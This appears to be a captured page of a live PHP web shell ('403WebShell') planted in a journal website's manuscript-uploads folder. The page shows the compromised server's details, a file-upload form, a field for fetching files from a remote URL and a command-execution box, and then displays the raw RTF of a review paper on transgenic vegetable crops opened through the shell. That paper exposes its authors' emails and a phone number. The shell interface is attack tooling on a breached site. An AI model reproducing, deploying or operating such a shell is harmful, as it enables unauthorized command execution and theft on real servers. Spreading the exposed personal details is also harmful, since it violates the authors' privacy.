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<html>
<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Server IP : <font color=#df5>172.67.215.126</font> &nbsp;/&nbsp; Your IP : <font color=#df5>172.69.130.120</font><br>Web Server : <font color='#df5'>Apache/2.4.52 (Ubuntu)</font><br>System : <font color='#df5'>Linux ip-172-31-19-221 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64</font><br>User : <font color='#df5'>www-data&nbsp;</font>( <font color='#df5'>33</font>)<br>PHP Version : <font color='#df5'>8.1.28</font><br>Disable Function : <font color='#df5'>NONE</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=green>ON</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=red>OFF</font> &nbsp;|&nbsp; Sudo : <font color=green>ON</font> &nbsp;|&nbsp; Pkexec : <font color=green>ON</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/efsdata">efsdata</a>/<a href="?loknya=/efsdata/scitechnol.com">scitechnol.com</a>/<a href="?loknya=/efsdata/scitechnol.com/httpdocs">httpdocs</a>/<a href="?loknya=/efsdata/scitechnol.com/httpdocs/submission">submission</a>/<a href="?loknya=/efsdata/scitechnol.com/httpdocs/submission/uploads">uploads</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='red'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='red'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://linuxploit.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="kerang.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form></table><br><hr><center style="font-family: Russo One">[ <a href='/admin/eb-photos/-ewew-2890.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /efsdata/scitechnol.com/httpdocs/submission/uploads/0-0-Manuscript-2013-07-29.rtf</tr></td></table><br/><pre>{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}
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\b\fs32\insrsid15140312\charrsid16345645 Transgenic Vegetable Crops: }{\rtlch\fcs1 \ab\af0\afs32 \ltrch\fcs0 \b\i\fs32\insrsid15140312\charrsid16345645 Nutritional Security and Safety Measures}{\rtlch\fcs1 \ab\af0\afs32 \ltrch\fcs0 
\b\fs32\insrsid3154015\charrsid16345645 
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{\*\bkmkstart\bkmkcolf4\bkmkcoll5 alert}ABDUL MAJID ANSARI}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\super\insrsid1532173\charrsid16345645 1,*}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1532173\charrsid16345645  and Y. V. SINGH}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \i\fs20\super\insrsid1532173\charrsid16345645 2
\par }\pard \ltrpar\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\super\insrsid1532173\charrsid16345645 1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid1532173\charrsid16345645 PhD student at the Department of Vegetable Science, Govind Ballabh Pant University of Agriculture &amp; Technology, Pantnagar - 263145 (U. S. Nagar), Uttarakhand, India, e-mail: }{\field\fldedit{\*\fldinst {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid1532173\charrsid16345645  HYPERLINK &quot;mailto:majid.gbp@gmail.com&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11361359\charrsid16345645 {\*\datafield 
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\fs20\insrsid16133048\charrsid16345645 ,}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\insrsid1532173\charrsid16345645  Mobile No. +919430355884
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\super\insrsid1532173\charrsid16345645  2}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\insrsid1532173\charrsid16345645 Professor and Head, Department of Vege
table Science, Govind Ballabh Pant University of Agriculture &amp; Technology, Pantnagar \endash  263145  (U. S. Nagar), Uttarakhand, India, e-mail: }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1532173\charrsid16345645 
 HYPERLINK &quot;mailto:dr.yvsingh@rediffmail.com&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11361359\charrsid16345645 {\*\datafield 
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00000000a5ab0000006c009200}}}{\fldrslt {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid1532173\charrsid16345645 dr.yvsingh@rediffmail.com}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid1532173\charrsid16345645  
\par }\pard \ltrpar\qc \li0\ri0\sb240\sa240\widctlpar\tx3734\tqc\tx4320\tx5850\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\fs20\insrsid6236467\charrsid16345645 ABSTRACT
\par }\pard\plain \ltrpar\s25\qj \fi432\li288\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin288\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid6236467\charrsid16345645 Vegetables play an important role in human nutrition and health by providing minerals, micronutrients, vitamins, antioxidants, phytosterols and dietary fiber. Vegetable cultiv
ation is a significant part of the agricultural economy of nations, especially in the developing world. In countries like India where the population is predominantly vegetarian, vegetables form a vital constituent of the daily diet. China is the world&#039;s l
a
rgest producer of vegetables followed by India. Over the last two decades various important traits such as biotic stress resistance, product quality and storage life have been successfully engineered into crop plants. Since the first large-scale cultivati
on of transgenic insect-resistant crops in 1996, a record 14 million farmers, in 25 }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid11361359\charrsid16345645 countries planted}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\b\i\fs20\insrsid6236467\charrsid16345645  134 million hectares (330 million acres}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid12021979\charrsid16345645 ) in}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid6236467\charrsid16345645 
 2009, a sustained increase over 2008 (James, 2009). Among the cultivated transgenic crop plants, herbicide tolerance has consistently been the dominant trait followed by }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid6236467\charrsid16345645 
Bacillus thuriengiensis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid6236467\charrsid16345645 
 (Bt) based insect resistance. Herbicide tolerant soybean and canola, and Bt maize and cotton constitute the four major genetically modified crops (James, 2009). The two comm
ercialized transgenic vegetable crops are tomato with delayed fruit ripening and potato with insect and virus resistance}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid4006787\charrsid16345645 . }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\b\i\fs20\insrsid6236467\charrsid16345645 Although many more useful transgenic vegetables have been produced, the realization of their benefit at field level is slow. Molecular
 studies have shown that several novel traits can be introduced in vegetable crops. In recent years considerable success has been achieved in introducing abiotic stress tolerance, quality traits and expression of various proteins and enzymes of pharmaceut
ical and industrial importance. 
\par }\pard \ltrpar\s25\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\fs20\insrsid6236467\charrsid16345645 Key words: }{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid6236467\charrsid16345645 Transgenic}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9440565\charrsid16345645 ; vegetable crops; vitamins; antioxidant;}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6236467\charrsid16345645  p}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid12721739\charrsid16345645 h}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6236467\charrsid16345645 ytosterol}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid12721739\charrsid16345645 s}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid9440565\charrsid16345645 ;}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6236467\charrsid16345645  dietary }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid12721739\charrsid16345645 fiber}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid9440565\charrsid16345645 ; Bt}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6236467\charrsid16345645 .
\par }\pard\plain \ltrpar\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \b\fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid13204757\charrsid16345645 Author Contribution Statement:
\par {\listtext\pard\plain\ltrpar \s33 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\fs20\cf17\insrsid13204757\charrsid16345645 \hich\af0\dbch\af0\loch\f0 1.\tab}}\pard\plain \ltrpar
\s33\qj \fi-360\li720\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\ls68\adjustright\rin0\lin720\itap0\pararsid16345645\contextualspace \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 
\f37\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\f0\fs20\insrsid13204757\charrsid16345645 Dr. A. M. Ansari: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f0\fs20\insrsid13204757\charrsid16345645 
This manuscript was prepared during his PhD programme at the department of Vegetable Science, G.B. Pant University of Agriculture &amp; Technology, Pantnag}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f0\fs20\insrsid2188020\charrsid16345645 
ar-263145 (Uttarakhand), India}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f0\fs20\insrsid13204757\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\f0\fs20\insrsid13204757\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s33 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\fs20\cf17\insrsid13204757\charrsid16345645 \hich\af0\dbch\af0\loch\f0 2.\tab}Dr. Y. V. Singh: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f0\fs20\insrsid13204757\charrsid16345645 
He was coauthor of this manuscript that has checked by him and advised each and every step for necessary correction and he was Major Advisor &amp; Chairman of the Advisory committee of the PhD Programme}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\f0\fs20\insrsid794269\charrsid16345645  during which this review paper was prepared}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f0\fs20\insrsid13204757\charrsid16345645 . }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\f0\fs20\cf6\insrsid13204757\charrsid16345645 

\par }\pard \ltrpar\s33\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645\contextualspace {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\b\f0\fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid13204757\charrsid16345645 
\par Key Message: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f0\fs20\chshdng0\chcfpat0\chcbpat8\insrsid4278805\charrsid16345645 Transgenic research in field of vegetable crops br
ings a lot of scope to produced resistance varieties against diseases and insect pest as well as quality parameters of the vegetable. }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\f0\fs20\insrsid13204757\charrsid16345645 
\par }\pard\plain \ltrpar\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \b\fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid13204757\charrsid16345645 Conflict of Interest: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid13204757\charrsid16345645 
We Dr. A. M. Ansari and Dr. Y. V. Singh both the authors of this manuscript solemnly declare that we have no any conflict of interest with respect to the publication as well as any financial matter regarding this }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid2360255\charrsid16345645 review}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid13204757\charrsid16345645  paper.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid16133048 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\cf17\chshdng0\chcfpat0\chcbpat8\insrsid16345645\charrsid16345645 
\par }\pard \ltrpar\qc \li0\ri0\widctlpar\brdrb\brdrs\brdrw30\brsp20 \wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\fs20\insrsid1532173\charrsid16345645 
\par }\pard \ltrpar\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\insrsid1532173\charrsid16345645 
*Junior Scientist-cum-Assistant Professor (Horticulture), Zonal Research Station, Chianki, Palamau }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\insrsid13389208\charrsid16345645 \endash }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid1532173\charrsid16345645  822102}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\insrsid13389208\charrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\insrsid1532173\charrsid16345645  (Birsa Agricultural University, Ranchi), Jharkhand, India, }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \i\fs20\insrsid13389208\charrsid16345645 E}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid1532173\charrsid16345645 -mail: }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1532173\charrsid16345645  HYPERLINK &quot;mailto:majid.gbp@gmail.com&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid11361359\charrsid16345645 {\*\datafield 
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17}}}{\fldrslt {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid1532173\charrsid16345645 majid.gbp@gmail.com}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid1532173\charrsid16345645 , Mobile No. +919430355884
\par }\pard\plain \ltrpar\s3\qc \li0\ri0\sb240\sa240\widctlpar\tx3600\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 
\b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 {\*\bkmkstart SECX1}{\*\bkmkend SECX1}Introduction
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid14241219\charrsid16345645                }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid5195846\charrsid16345645     \tab \tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Vegetables play an important role in human nutrition and health by providing minerals, micronutrients, vitamins, antiox
idants, phytosterols and dietary fiber. Vegetable cultivation is a significant part of the agricultural economy of nations, especially in the developing world. In countries like India where the population is predominantly vegetarian, vegetables form a vit
al constituent of the }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2046579\charrsid16345645 daily }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
diet. China is the world&#039;s largest producer of vegetables followed by India. Total production could be greatly improved if losses due to biotic and abiotic stresses, and lack of proper storage and processing facilities could be o
vercome. Consequently, improvements in vegetable production, quality and prevention of post-harvest losses are a common goal in all research and development }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7018569\charrsid16345645 programme}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  focused on achieving the economic, social and environmental sustainability. Over the las
t two decades various important traits such as biotic stress resistance, product quality and storage life have been successfully engineered into crop plants. Since the first large-scale cultivation of transgenic insect-resistant crops in 1996, }{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7823099\charrsid16345645 a record 14 million farmers, in 25 countries  planted 134 million hectares (330 million acres)  in 2009, a sustained increase over 2008 ({\*\bkmkstart bbib34}}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7823099\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;
_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib34&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 
{\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d0032003400380036006200610061003000330031003000620038006500640035006300640063003500650034003000330039003900340062003600370038003600000006000000620069006200330034000000000000c00ab00055}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid7823099\charrsid16345645 James, 2009}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7823099\charrsid16345645 
). Among the cultivated transgenic crop plants, herbicide tolerance has consistently been the dominant trait followed by }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid7823099\charrsid16345645 Bacillus thuriengiensis}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid7823099\charrsid16345645  (Bt) based insect resistance. Herbicide tolerant soybean and canola, and Bt maize and cotton constitute the four major genetically modified crops ({\*\bkmkend bbib34}}{\field\fldedit{\*\fldinst {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7823099\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view
=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib34&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003300340000000020007200000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid7823099\charrsid16345645 James, 2009}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7823099\charrsid16345645 ).}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  The two commercialized transgenic vegetable crops are tomato with delayed fruit ripening and potato with insect and virus resistance. }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid2046579\charrsid16345645 In India Bt brinjal hybrids have been developed by a private seed company Mahyco. The field testing and safety trials are complete but their release for large scale cultivation is still awaited. }{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Although many more useful transgenic vegetables have been produced, the realization of their benefit at field level is slow. Molecular studies have shown that several novel traits can be introduced in vegetable crops. In r
ecent years considerable success has been achieved in introducing abiotic stress tolerance, quality traits and expression of various proteins and enzymes of pharmaceut}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2847306\charrsid16345645 
ical and industrial importance. T}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 hese recent developments made in genetic engineering of vegetable crops }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2847306\charrsid16345645 
have been described }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 and discuss}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2847306\charrsid16345645 ed under the above mentioned topic.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 
\par }\pard\plain \ltrpar\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\v\fs20\lang1036\langfe1033\langnp1036\insrsid12213032\charrsid16345645 {\*\bkmkstart tbl1}{\*\bkmkend tbl1}
\par }\pard\plain \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 
\b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11540189\charrsid16345645 {\*\bkmkstart SECX2}{\*\bkmkstart SECX3}{\*\bkmkend SECX2}{\*\bkmkend SECX3}Abiotic stress tolerance
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11540189\charrsid16345645 \tab \tab Abiotic stresses such as drought, salinity and extreme temper
atures cause significant losses of crop productivity and quality. In abiotic stress prone areas, vegetable production is lower, which leads to malnutrition and associated health disorders in these regions. Development of crops with an inherent capacity to
 withstand abiotic stresses would help stabilize the vegetable production, and significantly contribute to food and nutritional security in developing countries and semi-arid tropical regions.}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid11540189\charrsid16345645 
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
